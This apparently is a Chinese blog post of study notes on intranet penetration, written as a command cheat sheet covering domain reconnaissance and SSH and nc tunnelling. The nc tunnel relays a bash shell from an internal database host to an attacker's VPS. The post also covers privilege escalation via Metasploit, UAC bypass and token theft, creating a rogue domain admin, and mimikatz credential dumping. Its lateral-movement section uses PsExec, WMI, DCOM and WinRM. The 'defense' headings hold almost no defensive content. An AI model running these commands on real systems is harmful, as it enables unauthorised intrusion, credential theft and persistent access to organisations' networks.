主要把近期讀的《內網安全攻防》做一個知識點匯總,方便查閱。
0x01 內網滲透基礎
第一章內容相對比較基礎,參見之前總結的這篇博文:內網基礎知識:https://www.cnblogs.com/-mo-/p/11906772.html
0x02 內網信息收集
2.1 收集本機信息
內容比較多,放在這里了:內網攻防技術備忘錄:https://www.cnblogs.com/-mo-/p/12358812.html
2.3 探測域內存活主機
探測存活主機,可在白天和晚上分別進行探測,進行對比分析
這里我之前也有寫過一篇博文,相對比較全:多種方式探測內網存活主機:https://www.cnblogs.com/-mo-/p/11908260.html
2.4 掃描域內端口
#手工telnet
telnet DC 22
#Msf
use auxiliary/scanner/portscan/tcp
#PowerSploit
./Invoke-Portscan.ps1
#Nishang
Invoke-PortScan模塊
2.5 收集域內信息
#當前域名稱
net view /domain
#查詢域內所有主機
net view /domain:域名
#查詢域內所有用戶組
net group /domain
#查詢所有域成員主機全稱
net group "domain computers" /domain
#獲取域密碼信息
net accounts /domain
#獲取域信任信息
nltest /domain_trusts
#查看域控制器的主機名
nltest /DCLIST:域名
Nslookup -type=SRV _ldap._tcp
netdom query pdc
#查看域控制器組
net group "Domain Controllers" /domain
在實際網絡中,一個域內一般存在兩台或者兩台以上的域控制器(備用域控制器)
常用的dsquery域內命令:
dsquery ou - 查找 組織單元
dsquery group - 查找 組
dsquery site - 查找 站點
dsquery user - 查找 用戶
dsquery computer - 查找 計算機
dsquery subnet - 查找 子網
dsquery quota - 查找配額規定
dsquery contact - 查找 聯系人
dsquery partition - 查找分區
dsquery server - 查找 AD DC/LDS 實例
dsquery * - 用通用的LDAP查詢來查找任何對象
#查詢域管理用戶
net group "domain admins" /domain
#查詢管理員用戶組
net group "Enterprise Admins" /domain
2.6 定位域管理員
待補充
0x03 隱藏通信隧道技術
本章中大多數講解的是如何在訪問受限的網絡環境中來去自如,部分網絡代理技術之前的博客也有總結過。參考鏈接:端口轉發工具大合集,這里主要再做些知識點的補充。
常用的隧道如下:
網絡層:TPv6隧道(socat/6tunnel/nt6tunnel)、ICMP隧道(icmpsh/PingTunnel/powershell icmp)、GRE隧道
傳輸層:TCP隧道、UDP隧道、常規端口轉發
應用層:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道
3.1 傳輸層nc代理
實驗環境:
攻擊者VPS:192.168.1.4
DMZ服務器:192.168.1.1/1.1.1.116
內網數據庫:1.1.1.200
代理目的:攻擊者VPS能夠管控內網數據庫的終端
#攻擊者VPS
nc -lvp 3333
#內網數據庫
nc -lvp 3333 -e /bin/bash
#DMZ服務器
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"
3.2 應用層SSH代理
SSH協議屬於應用層協議,一個普通的SSH命令如下:ssh root@192.168.1.1
3.2.1 實驗環境
Kali:192.168.1.4
DMZ服務器:192.168.1.11/1.1.1.16
數據庫服務器:1.1.1.10
3.2.2 本地轉發(適合目標機能夠接收內部流量的情況)
轉發目的:以DMZ服務器為跳板,訪問數據庫服務的3389端口
#在Kali上執行,會要求輸入DMZ服務器的SSH密碼:
ssh -CfNg -L 1153(本地端口):1.1.1.10:3389(目標主機) root@192.168.1.11(跳板機)
本地轉發是將遠程主機某個端口的數據轉發到本地機器的指定端口,此時訪問本地的1153端口,即可成功代理目標主機的3389端口流量。
3.2.3 遠程轉發(適合跳板機能夠發送內部流量的情況)
轉發目的:以DMZ服務器為跳板,訪問數據庫服務的3389端口
#在DMZ服務器上執行
ssh -CfNg -R 3307(Kali端口):1.1.1.10:3389(目標主機) root@192.168.1.4(Kali主機)
遠程轉發是在遠程主機上監聽一個端口,所有訪問遠程服務器指定端口的數據都會通過SSH隧道傳輸到達本地的對應端口,此時訪問Kali的3307端口,即可成功代理目標主機的3389端口流量
3.2.4 動態轉發
可以通過SSH隧道開啟一個目標內網的代理通道
同一實驗環境下,在Kali上執行:
ssh -CfNg -D 7000 root@192.168.1.11(DMZ服務器)
此時即通過SSH隧道開放了一個可以訪問目標服務器內網環境的流量通道
0x04 權限提升分析與防御
4.1 簡介
提權可分為縱向提權與橫向提權:縱向提權:低權限角色獲得高權限角色的權限;橫向提權:獲取同級別角色的權限。
常用的提權方法有:系統內核溢出漏洞提權、數據庫提權、錯誤的系統配置提權、組策略首選項提權、WEB中間件漏洞提權、DLL劫持提權、濫用高危權限令牌提權、第三方軟件/服務提權等
4.2 系統內核溢出漏洞提權
此提權方法即是通過系統本身存在的一些漏洞,未曾打相應的補丁而暴露出來的提權方法,依托可以提升權限的EXP和它們的補丁編號,進行提升權限。
https://github.com/SecWiki/windows-kernel-exploits
4.2.1 手工查找補丁情況
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
4.2.2 MSF后滲透掃描
post/windows/gather/enum_patches
4.2.3 Powershell掃描
Import-Module C:\Sherlock.ps1
Find-AllVulns
4.3 系統配置錯誤提權
4.3.1 系統服務權限配置錯誤
Windows在系統啟動時,會伴隨着一些高權服務啟動,倘若某些服務存在一些漏洞,那么就能夠借此服務進行權限劫持
實現方法可借助:
1.Powershell中的PowerUp腳本
2.Metasploit中的攻擊模塊
#需要提前獲取一個session
exploit/windows/local/service_permissions
4.3.2 可信任服務路徑漏洞
如果一個服務的可執行文件的路徑沒有被雙引號引起來且包含空格,那么這個服務就是有漏洞的
MSF使用實戰:
#尋找存在漏洞的服務
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
exploit/windows/local/trusted_service_path
#正常接收到會話后,不久就會自動斷開連接,需要開啟命令自動遷移進程
set AutoRunScript migrate -f
4.3.3 計划任務
如果攻擊者對以高權限運行的任務所在的目錄具有寫權限,就可以使用惡意程序覆蓋原來的程序,這樣在下次計划執行時,就會以高權限來運行惡意程序。
#查看計算機的計划任務
schtasks /query /fo LIST /v
4.3.4 Empire內置模塊
usemodule privesc/powerup/allchecks
execute
4.4 組策略首選項提權
組策略首選項(Group Policy Preferences,GPP)
謝公子的博客有很清楚的說明:Windows組策略首選項提權
#Powershell獲取cpassword
Get-GPPPassword.ps1
#Msf
post/windows/gather/credentials/gpp
#Empire
usemodule privesc/gpp
4.5 繞過UAC提權
之前backlion師傅有一篇博文,主要寫的就是這個:使用Metasploit繞過UAC的多種方法
所以在這里就只把一些常用的命令篩選出來
#Msf
exploit/windows/local/bypassuac
getsysem
#避免發現,內存注入,不產生文件
exploit/windows/local/bypassuac_injection
#Powershell
Invoke-PsUACme
#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript
4.6 令牌竊取
4.6.1 實戰舉例
#已經獲取到一個session
#方法一
meterpreter > use incognito
......
meterpreter > list_tokens -u
......
WIN-2HU3N1\Administrator
......
meterpreter > impersonate_token WIN-2HU3N1\\Administrator #注意:這里是兩個反斜杠\\
......
Successfully......
meterpreter > shell
C:\User\Administrator>whoami
WIN-2HU3N1\Administrator
#方法二,借用Rotten potato程序
https://github.com/foxglovesec/RottenPotato.git
meterpreter > use incognito
......
meterpreter > list_tokens -u
......
WIN-2HU3N1\Administrator
......
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
Successfully......
meterpreter > execute -HC -f rottenpotato.exe
Successfully......
meterpreter > getuid
...NT AUTHORITY\SYSTEM
4.6.2 添加域管理員
#cmd
net user mo 123456 /ad /domain #添加域用戶
net group "domain admins" mo /ad /domain #加入域管理員組
net group "domain admins" /domain #查看是否添加成功
#MSF
add_user mo 123456 -h 1.1.1.2
add_group_user "Domain Admins" mo -h 1.1.1.2
在添加好可控制的域管理員后,可迭代使用MSF查詢所存在的身份驗證令牌
4.7 無憑證條件下的權限提升
Responder.py:https://github.com/SpiderLabs/Responder.git
0x05 域內橫向移動分析與防御
5.1 常用指令
#IPC連接
net use \\192.168.100.190\ipc$ "123456" /user:administrator
net use #查看已建立的連接
net use \\192.168.100.190\ipc$ /del /y #刪除建立的連接
#dir命令
dir \\192.168.100.190\c$
2019/06/22 16:47 <DIR> .
2019/06/22 16:47 <DIR> ..
2019/04/24 15:22 <DIR> .ipynb_checkpoints
2018/11/05 15:05 4,760 1-numpy數值計算基礎1.ipynb
2019/04/23 16:13 2,831 Crypto.ipynb
2 個文件 1,469 字節
3 個目錄 1,976 可用字節
#tasklist命令
tasklist /$ 192.168.100.190 /U administrator /P 123456
#at計划任務
net time \\192.168.100.190
copy calc.bat \\192.168.100.190
at \\192.168.100.190 4.11PM C:\calc.bat (無回顯)
at \\192.168.100.190 4.11PM cmd.exe /c "ipconfig >C:/1.txt"
type \\192.168.100.190\C$\1.txt (分步回顯)
at \\192.168.100.190 7(任務計划的ID號) /delete (清除計划任務)
#schtasks計划任務
#在遠程主機上創建一個:c:\calc.bat 開機時以System權限啟動的 test 任務
schtasks /create /s 192.168.100.190 /tn test /sc onstart /tr c:\calc.bat /ru system /f
#執行 test 任務
schtasks /run /s 192.168.100.190 /i /tn "test"
#刪除計划任務
schtasks /delete /s 192.168.100.190 /tn "test" /f
#schtasks會留存日志
C:\Windows\Tasks\SchedLgU.txt
5.2 Windows系統散列值獲取
在windows操作系統中,Hash的結構通常如下:
username:RID:LM-HASH:NT-HASH
#服務器版從windows server2003以后,認證方式均為NTLM Hash
#如果LM Hash被禁用了,工具抓到的LM Hash通常為:aad3b435b51404eeaad3b435b51404ee
單機密碼抓取:
GetPassword_x64.exe #獲得明文
PwDump7.exe #獲得NTML Hash
#mimikatz本地讀取
privilege::debug
token::elevate
lsadump::sam
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
#mimikatz離線讀取lsass.dmp
#Nishang
Import-Module .\Get-PassHashes.ps1
5.3 哈希傳遞攻擊分析
參考鏈接:Mimikatz使用大全
5.4 票據傳遞攻擊分析
參考鏈接:MS14-068復現(CVE-2014-6324)
5.5 PsExec的使用
在建立了IPC$的情況下,執行如下命令,獲取System權限的Shell
PsExec.exe -accepteula \\192.168.100.190 -s cmd.exe
#如果暫時沒有建立IPC$連接的話,可以用-u,-p參數進行建立
PsExec.exe -accepteula \\192.168.100.190 -u administrator -p 123456 cmd.exe /c "ipconfig" #回顯執行
#MSF中的psexec模塊
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(Powershell版本,混淆)
在webshell的環境下,psexec 如果是在目標環境第一次運行的話,有可能會因為程序的UAC,出現無法使用的情況,此時可嘗試使用 paexec 進行橫向滲透:
PAExec \\{server IP address} -s cmd.exe
PAExec \\{server IP address} ipconfig
PAExec \\{server IP address} -u {username} -p {password} -i -c MyApp.exe
5.6 WMI的使用
wmi的命令沒有回顯,但其操作默認不會記錄在日志中,需要借助ipc$和type命令來讀取信息
#遠程執行wmic命令,目標服務器需開啟135端口
wmic /node:172.16.1.1 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig >ip.txt"
type \\192.168.100.190\C$\ip.txt
Linux:
想要從Linux向Windows進行橫向滲透的話,可以使用impacket工具包中的wmiexec.py文件,得到目標的shell
Windows:
可以通過VBS調用VMI來模擬PsExec的功能
cscript.exe //nologo wmiexec.vbs /shell 192.168.100.190 administrator 123456 #半交互式shell模式
cscript.exe wmiexec.vbs /cmd 192.168.100.190 administrator 123456 "ipconfig" #遠程執行命令
#wmiexec.vbs已被列入各大安全廠商的黑名單
上面是提供賬號密碼的情況,如果有時候我們抓取到的是hash,破解不了時可以利用 WCE 的 hash 注入,然后再執行 WMIEXEC(不提供賬號密碼)就可以了:
wce.exe -s 用戶名:機器名或ip:LM-HASH:NT-HASH
wce.exe -s 用戶名:域名:LM-HASH:NT-HASH
#Tips:如果抓取的 LM hash 是 AAD3 開頭的,或者是 No Password 之類的,就用 32 個 0 代替 LM hash 即可
相關設定:
Const Path = "C:\"
Const FileName = "wmi.dll"
Const timeOut = 1200
#這段代碼在腳本的一開始,是控制結果文件路徑、文件名、以及默認代碼執行時間的,可以自行更改
5.7 smbexec的使用
smbexec是需要提前將自身上傳到目標服務器上的
test.exe:客戶端主程序
execserver.exe:目標系統中的輔助程序
net use \\192.168.100.205 "123456" /user:pentest.com\administrator
#將execserver.exe上傳到目標系統的C:\windows\目錄下
smbexec.exe 192.168.100.205 administrator 123456 whoami c$
5.8 DCOM在遠程系統中的使用
DOCM(分布式組件對象模型)是微軟一系列概念和程序接口,通過DOCM,客戶端程序對象能夠向網絡中的另一台計算機上的服務程序對象發送請求
通過本地DCOM執行命令:
Get-CimInstance Win32_DCOMApplication
#使用 Poweshell3.0 獲取本地 DCOM 程序列表(win server 2012以上)
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
#使用 Poweshell2.0 獲取本地 DCOM 程序列表(win7、win server 2008)
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
#通過Powershell使用DCOM本地執行calc.exe
使用DCOM遠程執行命令:
net use \\192.168.100.190\ipc$ "123456" /user:administrator
#首先需使用本地賬號建立遠程IPC$連接
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.100.190"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")
#通過Powershell使用DCOM遠程執行calc.exe
5.9 WinRM遠程管理服務
WinRM指的是Windows遠程管理服務,通過遠程連接winRM模塊可以操作windows命令行,默認監聽端口5985(HTTP)&5986 (HTTPS),在2012以后默認開啟。
執行命令:
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "whoami /all"
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "cmd.exe"